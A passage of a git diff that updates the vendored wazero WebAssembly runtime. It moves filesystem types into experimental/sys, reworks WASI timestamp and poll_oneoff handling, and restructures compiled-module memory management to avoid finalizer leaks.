ret.fs = append(ret.fs, fs)
ret.guestPaths = append(ret.guestPaths, guestPath)
@@ -197,12 +202,12 @@ func (c *fsConfig) withMount(fs fsapi.FS, guestPath string) FSConfig {
// preopens returns the possible nil index-correlated preopened filesystems
// with guest paths.
-func (c *fsConfig) preopens() ([]fsapi.FS, []string) {
+func (c *fsConfig) preopens() ([]experimentalsys.FS, []string) {
preopenCount := len(c.fs)
if preopenCount == 0 {
return nil, nil
}
- fs := make([]fsapi.FS, len(c.fs))
+ fs := make([]experimentalsys.FS, len(c.fs))
copy(fs, c.fs)
guestPaths := make([]string, len(c.guestPaths))
copy(guestPaths, c.guestPaths)
diff --git a/vendor/github.com/tetratelabs/wazero/imports/wasi_snapshot_preview1/fs.go b/vendor/github.com/tetratelabs/wazero/imports/wasi_snapshot_preview1/fs.go
index 033b70cb7d..b80c14d7d5 100644
--- a/vendor/github.com/tetratelabs/wazero/imports/wasi_snapshot_preview1/fs.go
+++ b/vendor/github.com/tetratelabs/wazero/imports/wasi_snapshot_preview1/fs.go
@@ -12,10 +12,8 @@ import (
"github.com/tetratelabs/wazero/api"
experimentalsys "github.com/tetratelabs/wazero/experimental/sys"
- "github.com/tetratelabs/wazero/internal/fsapi"
socketapi "github.com/tetratelabs/wazero/internal/sock"
"github.com/tetratelabs/wazero/internal/sys"
- "github.com/tetratelabs/wazero/internal/sysfs"
"github.com/tetratelabs/wazero/internal/wasip1"
"github.com/tetratelabs/wazero/internal/wasm"
sysapi "github.com/tetratelabs/wazero/sys"
@@ -415,7 +413,7 @@ func fdFilestatGetFunc(mod api.Module, fd int32, resultBuf uint32) experimentals
return writeFilestat(buf, &st, filetype)
}
-func getExtendedWasiFiletype(file fsapi.File, fm fs.FileMode) (ftype uint8) {
+func getExtendedWasiFiletype(file experimentalsys.File, fm fs.FileMode) (ftype uint8) {
ftype = getWasiFiletype(fm)
if ftype == wasip1.FILETYPE_UNKNOWN {
if _, ok := file.(socketapi.TCPSock); ok {
@@ -503,50 +501,55 @@ func fdFilestatSetTimesFn(_ context.Context, mod api.Module, params []uint64) ex
return experimentalsys.EBADF
}
- times, errno := toTimes(atim, mtim, fstFlags)
+ atim, mtim, errno := toTimes(sys.WalltimeNanos, atim, mtim, fstFlags)
if errno != 0 {
return errno
}
// Try to update the file timestamps by file-descriptor.
- errno = f.File.Utimens(×)
+ errno = f.File.Utimens(atim, mtim)
// Fall back to path based, despite it being less precise.
switch errno {
case experimentalsys.EPERM, experimentalsys.ENOSYS:
- errno = f.FS.Utimens(f.Name, ×)
+ errno = f.FS.Utimens(f.Name, atim, mtim)
}
return errno
}
-func toTimes(atim, mtime int64, fstFlags uint16) (times [2]syscall.Timespec, errno experimentalsys.Errno) {
+func toTimes(walltime func() int64, atim, mtim int64, fstFlags uint16) (int64, int64, experimentalsys.Errno) {
// times[0] == atim, times[1] == mtim
+ var nowTim int64
+
// coerce atim into a timespec
if set, now := fstFlags&wasip1.FstflagsAtim != 0, fstFlags&wasip1.FstflagsAtimNow != 0; set && now {
- errno = experimentalsys.EINVAL
- return
+ return 0, 0, experimentalsys.EINVAL
} else if set {
- times[0] = syscall.NsecToTimespec(atim)
+ // atim is already correct
} else if now {
- times[0].Nsec = sysfs.UTIME_NOW
+ nowTim = walltime()
+ atim = nowTim
} else {
- times[0].Nsec = sysfs.UTIME_OMIT
+ atim = experimentalsys.UTIME_OMIT
}
// coerce mtim into a timespec
if set, now := fstFlags&wasip1.FstflagsMtim != 0, fstFlags&wasip1.FstflagsMtimNow != 0; set && now {
- errno = experimentalsys.EINVAL
- return
+ return 0, 0, experimentalsys.EINVAL
} else if set {
- times[1] = syscall.NsecToTimespec(mtime)
+ // mtim is already correct
} else if now {
- times[1].Nsec = sysfs.UTIME_NOW
+ if nowTim != 0 {
+ mtim = nowTim
+ } else {
+ mtim = walltime()
+ }
} else {
- times[1].Nsec = sysfs.UTIME_OMIT
+ mtim = experimentalsys.UTIME_OMIT
}
- return
+ return atim, mtim, 0
}
// fdPread is the WASI function named FdPreadName which reads from a file
@@ -745,11 +748,11 @@ var fdRead = newHostFunc(
// preader tracks an offset across multiple reads.
type preader struct {
- f fsapi.File
+ f experimentalsys.File
offset int64
}
-// Read implements the same function as documented on fsapi.File.
+// Read implements the same function as documented on sys.File.
func (w *preader) Read(buf []byte) (n int, errno experimentalsys.Errno) {
if len(buf) == 0 {
return 0, 0 // less overhead on zero-length reads.
@@ -942,7 +945,7 @@ const largestDirent = int64(math.MaxUint32 - wasip1.DirentSize)
//
// `bufToWrite` is the amount of memory needed to write direntCount, which
// includes up to wasip1.DirentSize of a last truncated entry.
-func maxDirents(dirents []fsapi.Dirent, bufLen uint32) (bufToWrite uint32, direntCount int, truncatedLen uint32) {
+func maxDirents(dirents []experimentalsys.Dirent, bufLen uint32) (bufToWrite uint32, direntCount int, truncatedLen uint32) {
lenRemaining := bufLen
for i := range dirents {
if lenRemaining == 0 {
@@ -991,7 +994,7 @@ func maxDirents(dirents []fsapi.Dirent, bufLen uint32) (bufToWrite uint32, diren
// writeDirents writes the directory entries to the buffer, which is pre-sized
// based on maxDirents. truncatedEntryLen means the last is written without its
// name.
-func writeDirents(buf []byte, dirents []fsapi.Dirent, d_next uint64, direntCount int, truncatedLen uint32) {
+func writeDirents(buf []byte, dirents []experimentalsys.Dirent, d_next uint64, direntCount int, truncatedLen uint32) {
pos := uint32(0)
skipNameI := -1
@@ -1233,11 +1236,11 @@ func fdWriteFn(_ context.Context, mod api.Module, params []uint64) experimentals
// pwriter tracks an offset across multiple writes.
type pwriter struct {
- f fsapi.File
+ f experimentalsys.File
offset int64
}
-// Write implements the same function as documented on fsapi.File.
+// Write implements the same function as documented on sys.File.
func (w *pwriter) Write(buf []byte) (n int, errno experimentalsys.Errno) {
if len(buf) == 0 {
return 0, 0 // less overhead on zero-length writes.
@@ -1445,7 +1448,7 @@ func pathFilestatSetTimesFn(_ context.Context, mod api.Module, params []uint64)
sys := mod.(*wasm.ModuleInstance).Sys
fsc := sys.FS()
- times, errno := toTimes(atim, mtim, fstFlags)
+ atim, mtim, errno := toTimes(sys.WalltimeNanos, atim, mtim, fstFlags)
if errno != 0 {
return errno
}
@@ -1457,14 +1460,14 @@ func pathFilestatSetTimesFn(_ context.Context, mod api.Module, params []uint64)
symlinkFollow := flags&wasip1.LOOKUP_SYMLINK_FOLLOW != 0
if symlinkFollow {
- return preopen.Utimens(pathName, ×)
+ return preopen.Utimens(pathName, atim, mtim)
}
// Otherwise, we need to emulate don't follow by opening the file by path.
if f, errno := preopen.OpenFile(pathName, syscall.O_WRONLY, 0); errno != 0 {
return errno
} else {
defer f.Close()
- return f.Utimens(×)
+ return f.Utimens(atim, mtim)
}
}
@@ -1595,7 +1598,7 @@ func pathOpenFn(_ context.Context, mod api.Module, params []uint64) experimental
}
fileOpenFlags := openFlags(dirflags, oflags, fdflags, rights)
- isDir := fileOpenFlags&fsapi.O_DIRECTORY != 0
+ isDir := fileOpenFlags&experimentalsys.O_DIRECTORY != 0
if isDir && oflags&wasip1.O_CREAT != 0 {
return experimentalsys.EINVAL // use pathCreateDirectory!
@@ -1642,7 +1645,7 @@ func pathOpenFn(_ context.Context, mod api.Module, params []uint64) experimental
//
// See https://github.com/WebAssembly/wasi-libc/blob/659ff414560721b1660a19685110e484a081c3d4/libc-bottom-half/sources/at_fdcwd.c
// See https://linux.die.net/man/2/openat
-func atPath(fsc *sys.FSContext, mem api.Memory, fd int32, p, pathLen uint32) (fsapi.FS, string, experimentalsys.Errno) {
+func atPath(fsc *sys.FSContext, mem api.Memory, fd int32, p, pathLen uint32) (experimentalsys.FS, string, experimentalsys.Errno) {
b, ok := mem.Read(p, pathLen)
if !ok {
return nil, "", experimentalsys.EFAULT
@@ -1696,15 +1699,15 @@ func preopenPath(fsc *sys.FSContext, fd int32) (string, experimentalsys.Errno) {
}
}
-func openFlags(dirflags, oflags, fdflags uint16, rights uint32) (openFlags fsapi.Oflag) {
+func openFlags(dirflags, oflags, fdflags uint16, rights uint32) (openFlags experimentalsys.Oflag) {
if dirflags&wasip1.LOOKUP_SYMLINK_FOLLOW == 0 {
- openFlags |= fsapi.O_NOFOLLOW
+ openFlags |= experimentalsys.O_NOFOLLOW
}
if oflags&wasip1.O_DIRECTORY != 0 {
- openFlags |= fsapi.O_DIRECTORY
+ openFlags |= experimentalsys.O_DIRECTORY
return // Early return for directories as the rest of flags doesn't make sense for it.
} else if oflags&wasip1.O_EXCL != 0 {
- openFlags |= fsapi.O_EXCL
+ openFlags |= experimentalsys.O_EXCL
}
// Because we don't implement rights, we partially rely on the open flags
// to determine the mode in which the file will be opened. This will create
@@ -1713,30 +1716,30 @@ func openFlags(dirflags, oflags, fdflags uint16, rights uint32) (openFlags fsapi
// which sets O_CREAT but does not give read or write permissions will
// successfully create a file when running with wazero, but might get a
// permission denied error on other runtimes.
- defaultMode := fsapi.O_RDONLY
+ defaultMode := experimentalsys.O_RDONLY
if oflags&wasip1.O_TRUNC != 0 {
- openFlags |= fsapi.O_TRUNC
- defaultMode = fsapi.O_RDWR
+ openFlags |= experimentalsys.O_TRUNC
+ defaultMode = experimentalsys.O_RDWR
}
if oflags&wasip1.O_CREAT != 0 {
- openFlags |= fsapi.O_CREAT
- defaultMode = fsapi.O_RDWR
+ openFlags |= experimentalsys.O_CREAT
+ defaultMode = experimentalsys.O_RDWR
}
if fdflags&wasip1.FD_NONBLOCK != 0 {
- openFlags |= fsapi.O_NONBLOCK
+ openFlags |= experimentalsys.O_NONBLOCK
}
if fdflags&wasip1.FD_APPEND != 0 {
- openFlags |= fsapi.O_APPEND
- defaultMode = fsapi.O_RDWR
+ openFlags |= experimentalsys.O_APPEND
+ defaultMode = experimentalsys.O_RDWR
}
if fdflags&wasip1.FD_DSYNC != 0 {
- openFlags |= fsapi.O_DSYNC
+ openFlags |= experimentalsys.O_DSYNC
}
if fdflags&wasip1.FD_RSYNC != 0 {
- openFlags |= fsapi.O_RSYNC
+ openFlags |= experimentalsys.O_RSYNC
}
if fdflags&wasip1.FD_SYNC != 0 {
- openFlags |= fsapi.O_SYNC
+ openFlags |= experimentalsys.O_SYNC
}
// Since rights were discontinued in wasi, we only interpret RIGHT_FD_WRITE
@@ -1748,11 +1751,11 @@ func openFlags(dirflags, oflags, fdflags uint16, rights uint32) (openFlags fsapi
const rw = r | w
switch {
case (rights & rw) == rw:
- openFlags |= fsapi.O_RDWR
+ openFlags |= experimentalsys.O_RDWR
case (rights & w) == w:
- openFlags |= fsapi.O_WRONLY
+ openFlags |= experimentalsys.O_WRONLY
case (rights & r) == r:
- openFlags |= fsapi.O_RDONLY
+ openFlags |= experimentalsys.O_RDONLY
default:
openFlags |= defaultMode
}
diff --git a/vendor/github.com/tetratelabs/wazero/imports/wasi_snapshot_preview1/poll.go b/vendor/github.com/tetratelabs/wazero/imports/wasi_snapshot_preview1/poll.go
index aed08b7bea..d09f30245b 100644
--- a/vendor/github.com/tetratelabs/wazero/imports/wasi_snapshot_preview1/poll.go
+++ b/vendor/github.com/tetratelabs/wazero/imports/wasi_snapshot_preview1/poll.go
@@ -6,6 +6,7 @@ import (
"github.com/tetratelabs/wazero/api"
"github.com/tetratelabs/wazero/experimental/sys"
+ "github.com/tetratelabs/wazero/internal/fsapi"
internalsys "github.com/tetratelabs/wazero/internal/sys"
"github.com/tetratelabs/wazero/internal/wasip1"
"github.com/tetratelabs/wazero/internal/wasm"
@@ -46,7 +47,6 @@ type event struct {
eventType byte
userData []byte
errno wasip1.Errno
- outOffset uint32
}
func pollOneoffFn(_ context.Context, mod api.Module, params []uint64) sys.Errno {
@@ -90,16 +90,16 @@ func pollOneoffFn(_ context.Context, mod api.Module, params []uint64) sys.Errno
var blockingStdinSubs []*event
// The timeout is initialized at max Duration, the loop will find the minimum.
var timeout time.Duration = 1<<63 - 1
- // Count of all the clock subscribers that have been already written back to outBuf.
- clockEvents := uint32(0)
- // Count of all the non-clock subscribers that have been already written back to outBuf.
- readySubs := uint32(0)
+ // Count of all the subscriptions that have been already written back to outBuf.
+ // nevents*32 returns at all times the offset where the next event should be written:
+ // this way we ensure that there are no gaps between records.
+ nevents := uint32(0)
// Layout is subscription_u: Union
// https://github.com/WebAssembly/WASI/blob/snapshot-01/phases/snapshot/docs.md#subscription_u
for i := uint32(0); i < nsubscriptions; i++ {
inOffset := i * 48
- outOffset := i * 32
+ outOffset := nevents * 32
eventType := inBuf[inOffset+8] // +8 past userdata
// +8 past userdata +8 contents_offset
@@ -110,12 +110,10 @@ func pollOneoffFn(_ context.Context, mod api.Module, params []uint64) sys.Errno
eventType: eventType,
userData: userData,
errno: wasip1.ErrnoSuccess,
- outOffset: outOffset,
}
switch eventType {
case wasip1.EventTypeClock: // handle later
- clockEvents++
newTimeout, err := processClockEvent(argBuf)
if err != 0 {
return err
@@ -125,7 +123,8 @@ func pollOneoffFn(_ context.Context, mod api.Module, params []uint64) sys.Errno
timeout = newTimeout
}
// Ack the clock event to the outBuf.
- writeEvent(outBuf, evt)
+ writeEvent(outBuf[outOffset:], evt)
+ nevents++
case wasip1.EventTypeFdRead:
fd := int32(le.Uint32(argBuf))
if fd < 0 {
@@ -133,16 +132,15 @@ func pollOneoffFn(_ context.Context, mod api.Module, params []uint64) sys.Errno
}
if file, ok := fsc.LookupFile(fd); !ok {
evt.errno = wasip1.ErrnoBadf
- writeEvent(outBuf, evt)
- readySubs++
- continue
- } else if fd == internalsys.FdStdin && !file.File.IsNonblock() {
- // if the fd is Stdin, and it is in non-blocking mode,
+ writeEvent(outBuf[outOffset:], evt)
+ nevents++
+ } else if fd != internalsys.FdStdin && file.File.IsNonblock() {
+ writeEvent(outBuf[outOffset:], evt)
+ nevents++
+ } else {
+ // if the fd is Stdin, and it is in blocking mode,
// do not ack yet, append to a slice for delayed evaluation.
blockingStdinSubs = append(blockingStdinSubs, evt)
- } else {
- writeEvent(outBuf, evt)
- readySubs++
}
case wasip1.EventTypeFdWrite:
fd := int32(le.Uint32(argBuf))
@@ -154,47 +152,46 @@ func pollOneoffFn(_ context.Context, mod api.Module, params []uint64) sys.Errno
} else {
evt.errno = wasip1.ErrnoBadf
}
- readySubs++
- writeEvent(outBuf, evt)
+ nevents++
+ writeEvent(outBuf[outOffset:], evt)
default:
return sys.EINVAL
}
}
- // If there are subscribers with data ready, we have already written them to outBuf,
- // and we don't need to wait for the timeout: clear it.
- if readySubs != 0 {
- timeout = 0
+ sysCtx := mod.(*wasm.ModuleInstance).Sys
+ if nevents == nsubscriptions {
+ // We already wrote back all the results. We already wrote this number
+ // earlier to offset `resultNevents`.
+ // We only need to observe the timeout (nonzero if there are clock subscriptions)
+ // and return.
+ if timeout > 0 {
+ sysCtx.Nanosleep(int64(timeout))
+ }
+ return 0
}
// If there are blocking stdin subscribers, check for data with given timeout.
- if len(blockingStdinSubs) > 0 {
- stdin, ok := fsc.LookupFile(internalsys.FdStdin)
- if !ok {
- return sys.EBADF
- }
- // Wait for the timeout to expire, or for some data to become available on Stdin.
- stdinReady, errno := stdin.File.PollRead(&timeout)
- if errno != 0 {
- return errno
- }
- if stdinReady {
- // stdin has data ready to for reading, write back all the events
- for i := range blockingStdinSubs {
- readySubs++
- evt := blockingStdinSubs[i]
- evt.errno = 0
- writeEvent(outBuf, evt)
- }
+ stdin, ok := fsc.LookupFile(internalsys.FdStdin)
+ if !ok {
+ return sys.EBADF
+ }
+ // Wait for the timeout to expire, or for some data to become available on Stdin.
+
+ if stdinReady, errno := stdin.File.Poll(fsapi.POLLIN, int32(timeout.Milliseconds())); errno != 0 {
+ return errno
+ } else if stdinReady {
+ // stdin has data ready to for reading, write back all the events
+ for i := range blockingStdinSubs {
+ evt := blockingStdinSubs[i]
+ evt.errno = 0
+ writeEvent(outBuf[nevents*32:], evt)
+ nevents++
}
- } else {
- // No subscribers, just wait for the given timeout.
- sysCtx := mod.(*wasm.ModuleInstance).Sys
- sysCtx.Nanosleep(int64(timeout))
}
- if readySubs != nsubscriptions {
- if !mod.Memory().WriteUint32Le(resultNevents, readySubs+clockEvents) {
+ if nevents != nsubscriptions {
+ if !mod.Memory().WriteUint32Le(resultNevents, nevents) {
return sys.EFAULT
}
}
@@ -234,9 +231,9 @@ func processClockEvent(inBuf []byte) (time.Duration, sys.Errno) {
// writeEvent writes the event corresponding to the processed subscription.
// https://github.com/WebAssembly/WASI/blob/snapshot-01/phases/snapshot/docs.md#-event-struct
func writeEvent(outBuf []byte, evt *event) {
- copy(outBuf[evt.outOffset:], evt.userData) // userdata
- outBuf[evt.outOffset+8] = byte(evt.errno) // uint16, but safe as < 255
- outBuf[evt.outOffset+9] = 0
- le.PutUint32(outBuf[evt.outOffset+10:], uint32(evt.eventType))
+ copy(outBuf, evt.userData) // userdata
+ outBuf[8] = byte(evt.errno) // uint16, but safe as < 255
+ outBuf[9] = 0
+ le.PutUint32(outBuf[10:], uint32(evt.eventType))
// TODO: When FD events are supported, write outOffset+16
}
diff --git a/vendor/github.com/tetratelabs/wazero/imports/wasi_snapshot_preview1/sock.go b/vendor/github.com/tetratelabs/wazero/imports/wasi_snapshot_preview1/sock.go
index a3c20ad586..756c0d3913 100644
--- a/vendor/github.com/tetratelabs/wazero/imports/wasi_snapshot_preview1/sock.go
+++ b/vendor/github.com/tetratelabs/wazero/imports/wasi_snapshot_preview1/sock.go
@@ -2,7 +2,6 @@ package wasi_snapshot_preview1
import (
"context"
- "syscall"
"github.com/tetratelabs/wazero/api"
"github.com/tetratelabs/wazero/experimental/sys"
@@ -175,11 +174,11 @@ func sockShutdownFn(_ context.Context, mod api.Module, params []uint64) sys.Errn
switch how {
case wasip1.SD_RD | wasip1.SD_WR:
- sysHow = syscall.SHUT_RD | syscall.SHUT_WR
+ sysHow = socketapi.SHUT_RD | socketapi.SHUT_WR
case wasip1.SD_RD:
- sysHow = syscall.SHUT_RD
+ sysHow = socketapi.SHUT_RD
case wasip1.SD_WR:
- sysHow = syscall.SHUT_WR
+ sysHow = socketapi.SHUT_WR
default:
return sys.EINVAL
}
diff --git a/vendor/github.com/tetratelabs/wazero/imports/wasi_snapshot_preview1/testdata/tinygo/wasi.go b/vendor/github.com/tetratelabs/wazero/imports/wasi_snapshot_preview1/testdata/tinygo/wasi.go
index a4a220596b..6c52cc4bcd 100644
--- a/vendor/github.com/tetratelabs/wazero/imports/wasi_snapshot_preview1/testdata/tinygo/wasi.go
+++ b/vendor/github.com/tetratelabs/wazero/imports/wasi_snapshot_preview1/testdata/tinygo/wasi.go
@@ -29,8 +29,10 @@ func main() {
}
case "sock":
// TODO: undefined: net.FileListener
+ // See https://github.com/tinygo-org/tinygo/pull/2748
case "nonblock":
// TODO: undefined: syscall.SetNonblock
+ // See https://github.com/tinygo-org/tinygo/issues/3840
}
}
diff --git a/vendor/github.com/tetratelabs/wazero/internal/engine/compiler/engine.go b/vendor/github.com/tetratelabs/wazero/internal/engine/compiler/engine.go
index ca07a716d2..86abce4a51 100644
--- a/vendor/github.com/tetratelabs/wazero/internal/engine/compiler/engine.go
+++ b/vendor/github.com/tetratelabs/wazero/internal/engine/compiler/engine.go
@@ -48,6 +48,10 @@ type (
// as the underlying memory region is accessed by assembly directly by using
// codesElement0Address.
functions []function
+
+ // Keep a reference to the compiled module to prevent the GC from reclaiming
+ // it while the code may still be needed.
+ module *compiledModule
}
// callEngine holds context per moduleEngine.Call, and shared across all the
@@ -130,11 +134,13 @@ type (
// initialFn is the initial function for this call engine.
initialFn *function
+ // Keep a reference to the compiled module to prevent the GC from reclaiming
+ // it while the code may still be needed.
+ module *compiledModule
+
// stackIterator provides a way to iterate over the stack for Listeners.
// It is setup and valid only during a call to a Listener hook.
stackIterator stackIterator
-
- ensureTermination bool
}
// moduleContext holds the per-function call specific module information.
@@ -264,12 +270,27 @@ type (
}
compiledModule struct {
- executable asm.CodeSegment
- functions []compiledFunction
- source *wasm.Module
+ // The data that need to be accessed by compiledFunction.parent are
+ // separated in an embedded field because we use finalizers to manage
+ // the lifecycle of compiledModule instances and having cyclic pointers
+ // prevents the Go runtime from calling them, which results in memory
+ // leaks since the memory mapped code segments cannot be released.
+ //
+ // The indirection guarantees that the finalizer set on compiledModule
+ // instances can run when all references are gone, and the Go GC can
+ // manage to reclaim the compiledCode when all compiledFunction objects
+ // referencing it have been freed.
+ *compiledCode
+ functions []compiledFunction
+
ensureTermination bool
}
+ compiledCode struct {
+ source *wasm.Module
+ executable asm.CodeSegment
+ }
+
// compiledFunction corresponds to a function in a module (not instantiated one). This holds the machine code
// compiled by wazero compiler.
compiledFunction struct {
@@ -282,7 +303,7 @@ type (
index wasm.Index
goFunc interface{}
listener experimental.FunctionListener
- parent *compiledModule
+ parent *compiledCode
sourceOffsetMap sourceOffsetMap
}
@@ -496,13 +517,6 @@ func (e *engine) Close() (err error) {
e.mux.Lock()
defer e.mux.Unlock()
// Releasing the references to compiled codes including the memory-mapped machine codes.
-
- for i := range e.codes {
- for j := range e.codes[i].functions {
- e.codes[i].functions[j].parent = nil
- }
- }
-
e.codes = nil
return
}
@@ -523,9 +537,11 @@ func (e *engine) CompileModule(_ context.Context, module *wasm.Module, listeners
var withGoFunc bool
localFuncs, importedFuncs := len(module.FunctionSection), module.ImportFunctionCount
cm := &compiledModule{
+ compiledCode: &compiledCode{
+ source: module,
+ },
functions: make([]compiledFunction, localFuncs),
ensureTermination: ensureTermination,
- source: module,
}
if localFuncs == 0 {
@@ -559,7 +575,7 @@ func (e *engine) CompileModule(_ context.Context, module *wasm.Module, listeners
funcIndex := wasm.Index(i)
compiledFn := &cm.functions[i]
compiledFn.executableOffset = executable.Size()
- compiledFn.parent = cm
+ compiledFn.parent = cm.compiledCode
compiledFn.index = importedFuncs + funcIndex
if i < ln {
compiledFn.listener = listeners[i]
@@ -628,6 +644,8 @@ func (e *engine) NewModuleEngine(module *wasm.Module, instance *wasm.ModuleInsta
parent: c,
}
}
+
+ me.module = cm
return me, nil
}
@@ -720,7 +738,7 @@ func (ce *callEngine) CallWithStack(ctx context.Context, stack []uint64) error {
func (ce *callEngine) call(ctx context.Context, params, results []uint64) (_ []uint64, err error) {
m := ce.initialFn.moduleInstance
- if ce.ensureTermination {
+ if ce.module.ensureTermination {
select {
case <-ctx.Done():
// If the provided context is already done, close the call context
@@ -741,12 +759,14 @@ func (ce *callEngine) call(ctx context.Context, params, results []uint64) (_ []u
// If the module closed during the call, and the call didn't err for another reason, set an ExitError.
err = m.FailIfClosed()
}
+ // Ensure that the compiled module will never be GC'd before this method returns.
+ runtime.KeepAlive(ce.module)
}()
ft := ce.initialFn.funcType
ce.initializeStack(ft, params)
- if ce.ensureTermination {
+ if ce.module.ensureTermination {
done := m.CloseModuleOnCanceledOrTimeout(ctx)
defer done()
}
@@ -959,11 +979,11 @@ var initialStackSize uint64 = 512
func (e *moduleEngine) newCallEngine(stackSize uint64, fn *function) *callEngine {
ce := &callEngine{
- stack: make([]uint64, stackSize),
- archContext: newArchContext(),
- initialFn: fn,
- moduleContext: moduleContext{fn: fn},
- ensureTermination: fn.parent.parent.ensureTermination,
+ stack: make([]uint64, stackSize),
+ archContext: newArchContext(),
+ initialFn: fn,
+ moduleContext: moduleContext{fn: fn},
+ module: e.module,
}
stackHeader := (*reflect.SliceHeader)(unsafe.Pointer(&ce.stack))
diff --git a/vendor/github.com/tetratelabs/wazero/internal/engine/compiler/engine_cache.go b/vendor/github.com/tetratelabs/wazero/internal/engine/compiler/engine_cache.go
index e6b3b0e914..37e481bdb6 100644
--- a/vendor/github.com/tetratelabs/wazero/internal/engine/compiler/engine_cache.go
+++ b/vendor/github.com/tetratelabs/wazero/internal/engine/compiler/engine_cache.go
@@ -17,6 +17,7 @@ import (
func (e *engine) deleteCompiledModule(module *wasm.Module) {
e.mux.Lock()
defer e.mux.Unlock()
+
delete(e.codes, module.ID)
// Note: we do not call e.Cache.Delete, as the lifetime of
@@ -158,14 +159,18 @@ func deserializeCompiledModule(wazeroVersion string, reader io.ReadCloser, modul
ensureTermination := header[cachedVersionEnd] != 0
functionsNum := binary.LittleEndian.Uint32(header[len(header)-4:])
- cm = &compiledModule{functions: make([]compiledFunction, functionsNum), ensureTermination: ensureTermination}
+ cm = &compiledModule{
+ compiledCode: new(compiledCode),
+ functions: make([]compiledFunction, functionsNum),
+ ensureTermination: ensureTermination,
+ }
imported := module.ImportFunctionCount
var eightBytes [8]byte
for i := uint32(0); i < functionsNum; i++ {
f := &cm.functions[i]
- f.parent = cm
+ f.parent = cm.compiledCode
// Read the stack pointer ceil.
if f.stackPointerCeil, err = readUint64(reader, &eightBytes); err != nil {
diff --git a/vendor/github.com/tetratelabs/wazero/internal/engine/compiler/impl_amd64.go b/vendor/github.com/tetratelabs/wazero/internal/engine/compiler/impl_amd64.go
index 2555ae3c6e..7de2b33189 100644
--- a/vendor/github.com/tetratelabs/wazero/internal/engine/compiler/impl_amd64.go
+++ b/vendor/github.com/tetratelabs/wazero/internal/engine/compiler/impl_amd64.go
@@ -1088,7 +1088,7 @@ func (c *amd64Compiler) compileAdd(o *wazeroir.UnionOperation) error {
return err
}
- x1 := c.locationStack.peek() // Note this is peek, pop!
+ x1 := c.locationStack.peek() // Note this is peek!
if err := c.compileEnsureOnRegister(x1); err != nil {
return err
}
@@ -1125,7 +1125,7 @@ func (c *amd64Compiler) compileSub(o *wazeroir.UnionOperation) error {
return err
}
- x1 := c.locationStack.peek() // Note this is peek, pop!
+ x1 := c.locationStack.peek() // Note this is peek!
if err := c.compileEnsureOnRegister(x1); err != nil {
return err
}
@@ -3499,7 +3499,7 @@ func (c *amd64Compiler) compileStoreImpl(offsetConst uint32, inst asm.Instructio
reg, err := c.compileMemoryAccessCeilSetup(offsetConst, targetSizeInBytes)
if err != nil {
- return nil
+ return err
}
c.assembler.CompileRegisterToMemoryWithIndex(
diff --git a/vendor/github.com/tetratelabs/wazero/internal/fsapi/file.go b/vendor/github.com/tetratelabs/wazero/internal/fsapi/file.go
index f40d4155a8..0640b22712 100644
--- a/vendor/github.com/tetratelabs/wazero/internal/fsapi/file.go
+++ b/vendor/github.com/tetratelabs/wazero/internal/fsapi/file.go
@@ -1,77 +1,17 @@
package fsapi
-import (
- "syscall"
- "time"
+import experimentalsys "github.com/tetratelabs/wazero/experimental/sys"
- experimentalsys "github.com/tetratelabs/wazero/experimental/sys"
- "github.com/tetratelabs/wazero/sys"
-)
-
-// File is a writeable fs.File bridge backed by syscall functions needed for ABI
-// including WASI and runtime.GOOS=js.
-//
-// Implementations should embed UnimplementedFile for forward compatability. Any
-// unsupported method or parameter should return ENOSYS.
-//
-// # Errors
-//
-// All methods that can return an error return a Errno, which is zero
-// on success.
-//
-// Restricting to Errno matches current WebAssembly host functions,
-// which are constrained to well-known error codes. For example, `GOOS=js` maps
-// hard coded values and panics otherwise. More commonly, WASI maps syscall
-// errors to u32 numeric values.
+// File includes methods not yet ready to document for end users, notably
+// non-blocking functionality.
//
-// # Notes
-//
-// - You must call Close to avoid file resource conflicts. For example,
-// Windows cannot delete the underlying directory while a handle to it
-// remains open.
-// - A writable filesystem abstraction is not yet implemented as of Go 1.20.
-// See https://github.com/golang/go/issues/45757
+// Particularly, Poll is subject to debate. For example, whether a user should
+// be able to choose how to implement timeout or not. Currently, this interface
+// allows the user to choose to sleep or use native polling, and which choice
+// they make impacts thread behavior as summarized here:
+// https://github.com/tetratelabs/wazero/pull/1606#issuecomment-1665475516
type File interface {
- // Dev returns the device ID (Stat_t.Dev) of this file, zero if unknown or
- // an error retrieving it.
- //
- // # Errors
- //
- // Possible errors are those from Stat, except ENOSYS should not
- // be returned. Zero should be returned if there is no implementation.
- //
- // # Notes
- //
- // - Implementations should cache this result.
- // - This combined with Ino can implement os.SameFile.
- Dev() (uint64, experimentalsys.Errno)
-
- // Ino returns the serial number (Stat_t.Ino) of this file, zero if unknown
- // or an error retrieving it.
- //
- // # Errors
- //
- // Possible errors are those from Stat, except ENOSYS should not
- // be returned. Zero should be returned if there is no implementation.
- //
- // # Notes
- //
- // - Implementations should cache this result.
- // - This combined with Dev can implement os.SameFile.
- Ino() (sys.Inode, experimentalsys.Errno)
-
- // IsDir returns true if this file is a directory or an error there was an
- // error retrieving this information.
- //
- // # Errors
- //
- // Possible errors are those from Stat, except ENOSYS should not
- // be returned. false should be returned if there is no implementation.
- //
- // # Notes
- //
- // - Implementations should cache this result.
- IsDir() (bool, experimentalsys.Errno)
+ experimentalsys.File
// IsNonblock returns true if the file was opened with O_NONBLOCK, or
// SetNonblock was successfully enabled on this file.
@@ -96,272 +36,34 @@ type File interface {
// POSIX. See https://pubs.opengroup.org/onlinepubs/9699919799/functions/fcntl.html
SetNonblock(enable bool) experimentalsys.Errno
- // IsAppend returns true if the file was opened with fsapi.O_APPEND, or
- // SetAppend was successfully enabled on this file.
- //
- // # Notes
- //
- // - This might not match the underlying state of the file descriptor if
- // the file was not opened via OpenFile.
- IsAppend() bool
-
- // SetAppend toggles the append mode (fsapi.O_APPEND) of this file.
- //
- // # Errors
- //
- // A zero Errno is success. The below are expected otherwise:
- // - ENOSYS: the implementation does not support this function.
- // - EBADF: the file or directory was closed.
- //
- // # Notes
- //
- // - There is no `O_APPEND` for `fcntl` in POSIX, so implementations may
- // have to re-open the underlying file to apply this. See
- // https://pubs.opengroup.org/onlinepubs/9699919799/functions/open.html
- SetAppend(enable bool) experimentalsys.Errno
-
- // Stat is similar to syscall.Fstat.
- //
- // # Errors
- //
- // A zero Errno is success. The below are expected otherwise:
- // - ENOSYS: the implementation does not support this function.
- // - EBADF: the file or directory was closed.
- //
- // # Notes
- //
- // - This is like syscall.Fstat and `fstatat` with `AT_FDCWD` in POSIX.
- // See https://pubs.opengroup.org/onlinepubs/9699919799/functions/stat.html
